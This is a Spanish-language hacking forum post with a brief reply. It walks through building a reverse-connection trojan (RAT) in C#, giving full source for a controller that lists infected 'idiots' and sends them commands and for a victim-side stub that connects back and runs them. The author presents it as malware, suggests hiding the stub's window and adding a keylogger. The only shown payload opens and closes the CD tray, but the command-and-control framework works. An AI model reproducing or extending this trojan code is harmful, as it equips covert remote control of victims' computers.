comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[C#] Creacion de un Troyano de conexion inversa

  • 1 Respuestas
  • 3536 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Octubre 31, 2014, 12:20:10 pm »
[Titulo] : Creacion de un Troyano de Conexion Inversa
[Lenguaje] : C#
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del servidor
0x03 : Creacion del cliente
0x04 : Probando el programa
0x05 : Bibliografia

-- =================--------

0x01 : Introduccion

Un troyano de conexion inversa es aquel en el que el administrador del troyano es el servidor y la
victima es el cliente , eso nos ayuda para que no le salte el firewall a la victima cuando ejecute aunque va a saltar el antivirus de todas formas si es server se vuelve conocido , los troyanos de conexion inversa es la forma moderna en la que aparecen todos los troyanos nuevos.
Al principio no encontraba ni ejemplos ni manuales de como hacer uno de troyano de conexion inversa en C# pero gracias a un ejemplo llamado "Reverse Connection RAT Example" hecho por xSilent de hackhound logre entender el funcionamiento

Sabiendo todo esto vamos hacer uno en C# con Visual Studio 2010.

Comencemos ...

0x02 : Creacion del servidor

Primero vamos a crear el servidor de la siguiente forma con visual studio :



Una vez creado el proyecto pongan lo siguientes namespaces al inicio del codigo :

Código: C#
  1. using System.Threading; // Lo usamos para poder manejar los hilos
  2. using System.Net.Sockets; // Lo usamos para poder crear la conexion
  3. using System.Net; // Lo usamos para poder crear la conexion
  4. using System.Text.RegularExpressions; // Lo usamos para buscar en los strings usando expresiones regulares
  5.  

Despues pongan las siguientes variables gobales al inicio del codigo :

Código: C#
  1. TcpListener tcp_server; // Establecemos la variable tcp_server como TcpListener
  2. Thread thread_server; // Establecemos la variable thread_server Thread
  3.  

Ahora vamos a crear una clase llamada ServerManager con el siguiente codigo :

Código: C#
  1. // Server Manager
  2. // Coded By Doddy Hackman
  3. // Credits :
  4. // Rat Based on : http://www.hackforums.net/showthread.php?tid=827069v
  5. // Thanks to xSilent
  6.  
  7. using System;
  8. using System.Collections.Generic;
  9. using System.Text;
  10. using System.Net.Sockets; // Para el manejo de sockets
  11. using System.IO; // Para el manejo de Streams
  12. using System.Windows.Forms;  // Para el manejo de formularios
  13. using System.Text.RegularExpressions; // Para el manejo de expresiones regulares
  14.  
  15. namespace server
  16. {
  17.     class ServerManager
  18.     {
  19.         public TcpClient manager; // Variable global para manejar el cliente
  20.         public string ip; // Variable global para tener la IP
  21.  
  22.         public delegate void cargando_datos(ServerManager manager, string Message);
  23.         public event cargando_datos evento_panel_control_now;
  24.  
  25.         public ServerManager(TcpClient manager)
  26.         {
  27.             this.manager = manager;
  28.             string datos = manager.Client.RemoteEndPoint.ToString(); // Cargamos los datos de la conexion
  29.             Match regex = Regex.Match(datos, "(.*):(.*)", RegexOptions.IgnoreCase); // Dividimos la ip y el puerto
  30.             if (regex.Success) // Si se encontro ...
  31.             {
  32.                 ip = regex.Groups[1].Value; // Guardamos la IP
  33.  
  34.             }
  35.  
  36.             manager.GetStream().BeginRead(No tienes permisos para ver links. Registrate o Entra con tu cuenta byte[] { 0 }, 0, 0, leo_al_idiot, null); // Seguimos leyendo
  37.         }
  38.         void leo_al_idiot(IAsyncResult contenido_leyendo)
  39.         {
  40.             try
  41.             {
  42.                 StreamReader leyendo_now = No tienes permisos para ver links. Registrate o Entra con tu cuenta StreamReader(manager.GetStream()); // Leemos los datos de la conexion
  43.                 string mensaje_leyendo_now = leyendo_now.ReadLine(); // Cargamos los datos de la conexión en la variable string
  44.                 evento_panel_control_now(this, mensaje_leyendo_now); // Mandamos a la funcion los datos leidos con la variable string
  45.                 manager.GetStream().BeginRead(No tienes permisos para ver links. Registrate o Entra con tu cuenta byte[] { 0 }, 0, 0, leo_al_idiot, null); // Recargamos los datos
  46.             }
  47.             catch
  48.             {
  49.                 //
  50.             }
  51.  
  52.         }
  53.  
  54.         public void respondo_al_idiot(string mensaje_now)
  55.         {
  56.             try
  57.             {
  58.                 StreamWriter te_mando_now = No tienes permisos para ver links. Registrate o Entra con tu cuenta StreamWriter(manager.GetStream()); // Creamos el stream para responder al cliente
  59.                 te_mando_now.WriteLine(mensaje_now); // Mandamos la respuesta
  60.                 te_mando_now.Flush(); // Refrescamos el buffer
  61.             }
  62.             catch
  63.             {
  64.                 //
  65.             }
  66.         }
  67.  
  68.     }
  69. }
  70.  
  71. // The End ?
  72.  

El formulario del servidor lo vamos hacer de la siguiente forma :

  • 1 ListView con una columna que tiene de texto "Idiots Found" y ponen la propiedad "View" en "Details"
  • 3 Botones con el siguiente texto "Online","OpenCD","Close CD"


Les tiene que quedar algo asi :



Una vez hecho esto hacemos doble click en el primer boton llamado "Online" para poner el siguiente codigo :

Código: C#
  1. private void button1_Click(object sender, EventArgs e)
  2. {
  3.         int port = 666; // Establecemos la variable port como int con el valor de 666 para usar como numero de puerto
  4.         tcp_server = No tienes permisos para ver links. Registrate o Entra con tu cuenta TcpListener(IPAddress.Any, port); // Establecemos la conexion con el puerto usando tcp_server
  5.         thread_server = No tienes permisos para ver links. Registrate o Entra con tu cuenta Thread(panel_control); // Establecemos el hilo thread_server para poder leer los datos
  6.         thread_server.Start(); // Iniciamos el hilo thread_server
  7. }
  8.  

Despues del codigo del boton agreguen el siguiente codigo :

Código: C#
  1. public void panel_control()
  2. {
  3.         tcp_server.Start(); // Iniciamos el servidor
  4.         while (true) // Bucle eterno para poder enviar y recibir datos de la conexion
  5.         {
  6.                 ServerManager socket_server_now = No tienes permisos para ver links. Registrate o Entra con tu cuenta ServerManager(tcp_server.AcceptTcpClient()); // Aceptamos la conexion entrante
  7.                 socket_server_now.evento_panel_control_now += No tienes permisos para ver links. Registrate o Entra con tu cuenta ServerManager.cargando_datos(evento_panel_control); // Usamos la clase ServerManager para manejar
  8.                 // los datos de la conexion pendiente
  9.         }
  10. }
  11.  
  12. void evento_panel_control(ServerManager vengo,string data)
  13. {
  14.         Match regex = Regex.Match(data, "-ACATOY-LLEGUE-ACATOY-", RegexOptions.IgnoreCase); // Usamos la expresion regular
  15.         // para controlar que se encuentre
  16.         // el texto "-ACATOY-LLEGUE-ACATOY-" en la variable string data
  17.         if (regex.Success) // Si se encuentra ...
  18.         {
  19.                 Invoke(No tienes permisos para ver links. Registrate o Entra con tu cuenta _NewIdiot(NewIdiot),vengo); // Llamamos la funcion NewIdiot para agregar un cliente mas
  20.         }
  21.  
  22.         regex = Regex.Match(data, "-RtaCommand-(.*)-RtaCommand-", RegexOptions.IgnoreCase); // Si encontramos una respuesta
  23.         // enviada por el servidor usamos la expresion regular para extraer la respuesta del servidor que esta entre los dos
  24.         // -RtaCommand-
  25.         if (regex.Success) // Si se encuentra ...
  26.         {
  27.                 MessageBox.Show("[+] Status : "+regex.Groups[1].Value); // Mostramos la respuesta en MessageBox
  28.         }
  29. }
  30.  
  31. delegate void _NewIdiot(ServerManager vengo);
  32. void NewIdiot(ServerManager vengo)
  33. {
  34.         ListViewItem agregar = No tienes permisos para ver links. Registrate o Entra con tu cuenta ListViewItem(); // Creamos un item nuevo con la variable agregar
  35.         agregar.Text = vengo.ip; // Agregamos como texto la IP
  36.         agregar.Tag = vengo; // Agregamos como Tag los datos de "vengo"
  37.         listView1.Items.Add(agregar); // Agregamos el nuevo item a la lista
  38. }
  39.  

Todos estos pasos les deberia quedar asi :



Ahora vamos hacer doble click el segundo boton que tiene como texto "OpenCD" para poner el siguiente codigo :

Código: C#
  1. ServerManager manager = (ServerManager)listView1.Items[listView1.FocusedItem.Index].Tag; // Capturamos el tag
  2. // del item seleccionado por el usuario
  3. manager.respondo_al_idiot("-Command-OpenCD-Command-"); // Mandamos la orden OpenCD al infectado seleccionado en el
  4. // listView
  5.  

Despues vamos agregar el siguiente codigo al segundo boton con texto "CloseCD" :

Código: C#
  1. ServerManager manager = (ServerManager)listView1.Items[listView1.FocusedItem.Index].Tag; // Capturamos el tag
  2. // del item seleccionado por el usuario
  3. manager.respondo_al_idiot("-Command-CloseCD-Command-"); // Mandamos la orden CloseCD al infectado seleccionado en el
  4. // listView
  5.  

Les deberia quedar algo asi los dos botones :



Eso seria todo en el servidor.

0x03 : Creacion del cliente

Ahora pasamos al cliente , para eso creamos un proyecto nuevo de la siguiente forma :



Una vez creado el proyecto establecemos los siguientes namespaces al inicio del codigo de la sguiente forma :

Código: C#
  1. using System.Net.Sockets; // Lo usamos para el manejo de sockets
  2. using System.Net; // Lo usamos para el manejo de sockets
  3. using System.IO; // Lo usamos para el manejo de streams
  4. using System.Runtime.InteropServices; // Lo usamos para poder usar la funcion de abrir y cerrar la lectora
  5. using System.Text.RegularExpressions; // Lo usamos para las expresiones regulares
  6.  

Despues de eso establecemos las siguientes variables globales con el siguiente codigo :

Código: C#
  1. [DllImport("winmm.dll", EntryPoint = "mciSendStringA")] // Importamos la dll winmm.dll para poder usar mciSendStringA
  2. public static extern void mciSendStringA(string comandonow, string retornonow, long longitudnow, long callbacknow);
  3. // Establecemos la funcion mciSendStringA para poder abrir y cerrar la lectora
  4. static TcpClient conexion_con_el_server = No tienes permisos para ver links. Registrate o Entra con tu cuenta TcpClient(); // Declaramos como static la variable TcpClient de conexion_con_el_server
  5. static IPEndPoint datos_para_la_conexion_con_el_server = null; // Declaramos como static la variable datos_para_la_conexion_con_el_server de tipo
  6. // IPEndPoint y la seteamos como null
  7.  

Ahora vamos al evento Load del formulario y ponemos el siguiente codigo :

Código: C#
  1. datos_para_la_conexion_con_el_server = No tienes permisos para ver links. Registrate o Entra con tu cuenta IPEndPoint(IPAddress.Parse("127.0.0.1"), 666); // Establecemos la variable datos_para_la_conexion_con_el_server
  2. // como IPEndPoint con el valor de la IP y el puerto
  3. entrar_al_servidor(); // Realizamos la conexion
  4.  

Despues del codigo del Load del formulario agregamos estas tres funciones vitales para la conexion las cuales manejan el tema de enviar y recibir datos del servidor :

Código: C#
  1. public static void entrar_al_servidor()
  2. {
  3.         try
  4.         {
  5.                 conexion_con_el_server.Connect(datos_para_la_conexion_con_el_server); // Conectamos al servidor con los datos del server
  6.                 enviar_respuesta("-ACATOY-LLEGUE-ACATOY-"); // Enviamos el mensaje ACATOY al servidor para decirle que hay un nuevo idiot
  7.                 conexion_con_el_server.GetStream().BeginRead(No tienes permisos para ver links. Registrate o Entra con tu cuenta byte[] { 0 }, 0, 0,leer_datos_del_servidor, null); // Capturamos todos los datos provenientes
  8.                 // de la conexion y los vemos mejor en la funcion leer_datos_del_servidor
  9.         }
  10.         catch
  11.         {
  12.                 //
  13.         }
  14. }
  15.  
  16. public static void leer_datos_del_servidor(IAsyncResult now)
  17. {
  18.         try
  19.         {
  20.                 StreamReader abriendo_conexion = No tienes permisos para ver links. Registrate o Entra con tu cuenta StreamReader(conexion_con_el_server.GetStream()); // Usamos la variable abriendo_conexion
  21.                 // de tipo StreamReader para poder leer los datos que vienen
  22.                 string contenido = abriendo_conexion.ReadLine(); // Ponemos los datos la conexion en la variable string contenido
  23.  
  24.                 Match regex = Regex.Match(contenido, "-Command-OpenCD-Command-", RegexOptions.IgnoreCase); // Usamos la expresion regular
  25.                 // para verificar que nos envien la orden OpenCD
  26.                 if (regex.Success) // Si pasa ...
  27.                 {
  28.                         mciSendStringA("set CDAudio door open", "", 127, 0); // Usamos mciSendStringA para abrir la lectora
  29.                         enviar_respuesta("-RtaCommand-OpenCD OK-RtaCommand-"); // Le decimos al servidor que todo salio bien aunque nunca verifique nada xD
  30.                 }
  31.  
  32.                 regex = Regex.Match(contenido, "-Command-CloseCD-Command-", RegexOptions.IgnoreCase); // Usamos la expresion regular CloseCD para verificar que
  33.                 // nos envien la orden de CloseCd
  34.                 if (regex.Success) // Si pasa ...
  35.                 {
  36.                         mciSendStringA("set CDAudio door closed", "", 127, 0); // Usamos mciSendStringA para cerrar la lectora
  37.                         enviar_respuesta("-RtaCommand-CloseCD OK-RtaCommand-"); // Le decimos al servidor que todo salio bien
  38.                 }
  39.  
  40.                 conexion_con_el_server.GetStream().BeginRead(No tienes permisos para ver links. Registrate o Entra con tu cuenta byte[] { 0 }, 0, 0,leer_datos_del_servidor, null); // Actualizamos los datos de la conexion
  41.         }
  42.         catch
  43.         {
  44.                 //
  45.         }
  46. }
  47.  
  48. public static void enviar_respuesta(string texto)
  49. {
  50.         try
  51.         {
  52.                 StreamWriter enviar_respuesta_now = No tienes permisos para ver links. Registrate o Entra con tu cuenta StreamWriter(conexion_con_el_server.GetStream()); // Declaramos la variable enviar_respuesta_now
  53.                 // como StreamWriter para poder mandar un mensaje
  54.                 enviar_respuesta_now.WriteLine(texto); // Mandamos el mensaje que tienen la variable string y argumento "texto"
  55.                 enviar_respuesta_now.Flush(); // Seteamos para que el mensaje se envie correctamente
  56.         }
  57.         catch
  58.         {
  59.                 //
  60.         }
  61. }
  62.  

Con eso ya estaria listo el cliente.

0x04 : Probando el programa

Como ven no estan sencillo como en delphi pero esto es la base de un troyano de conexion inversa terminado desde ahi pueden agregar varias funciones como un keylogger , muy pronto voy a publicar la version en C# de mi DH Rat.
Para probar el programa carguen el servidor que vendria a ser el administrador de infectados , hagan click en el boton "Online" para activar el servidor , entonces abran el cliente que vendria a ser el stub infectado para la victima y veran un form vacio , despues pueden hacer invisible el form si quieren hacer el troyano decente , despues de eso si todo salio bien veran en el listview la ip de ustedes , entonces seleccionen la ip en el listview y hagan click en los botones de abrir y cerrar la lectora para comprobar que realmente funciona.

Unas imagenes de como funciona :







Eso seria todo.

0x05 : Bibliografia

No tienes permisos para ver links. Registrate o Entra con tu cuenta
No tienes permisos para ver links. Registrate o Entra con tu cuenta

--========--
  The End ?
--========--

No tienes permisos para ver links. Registrate o Entra con tu cuenta.

Version VideoTutorial :



Eso es todo.
« Última modificación: Enero 08, 2016, 09:10:04 pm por blackdrake »

Desconectado Jhonny00xs

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
  • Skype: Jhonny00xs
« Respuesta #1 en: Abril 08, 2015, 08:32:24 pm »
Oye, no me cargan los infectados en la list. ayuda por favor.

 

¿Te gustó el post? COMPARTILO!



Creando un troyano en C#

Iniciado por Devilboy

Respuestas: 3
Vistas: 3442
Último mensaje Marzo 29, 2017, 05:17:26 pm
por s1sm0x0
[VB.NET] Verificar conexión a internet

Iniciado por Bloc

Respuestas: 3
Vistas: 3251
Último mensaje Agosto 21, 2013, 11:19:48 pm
por [L]ord [R]NA
[C#] Creacion de un Server Builder con recursos

Iniciado por BigBear

Respuestas: 0
Vistas: 1229
Último mensaje Marzo 10, 2015, 02:10:15 pm
por BigBear
[C#] Creacion de un Server Builder

Iniciado por BigBear

Respuestas: 5
Vistas: 2236
Último mensaje Agosto 29, 2014, 11:20:01 pm
por blackdrake
Tutorial C# - Creación de un proyecto en C#

Iniciado por Abraham20

Respuestas: 4
Vistas: 2599
Último mensaje Abril 13, 2016, 03:58:45 am
por jaav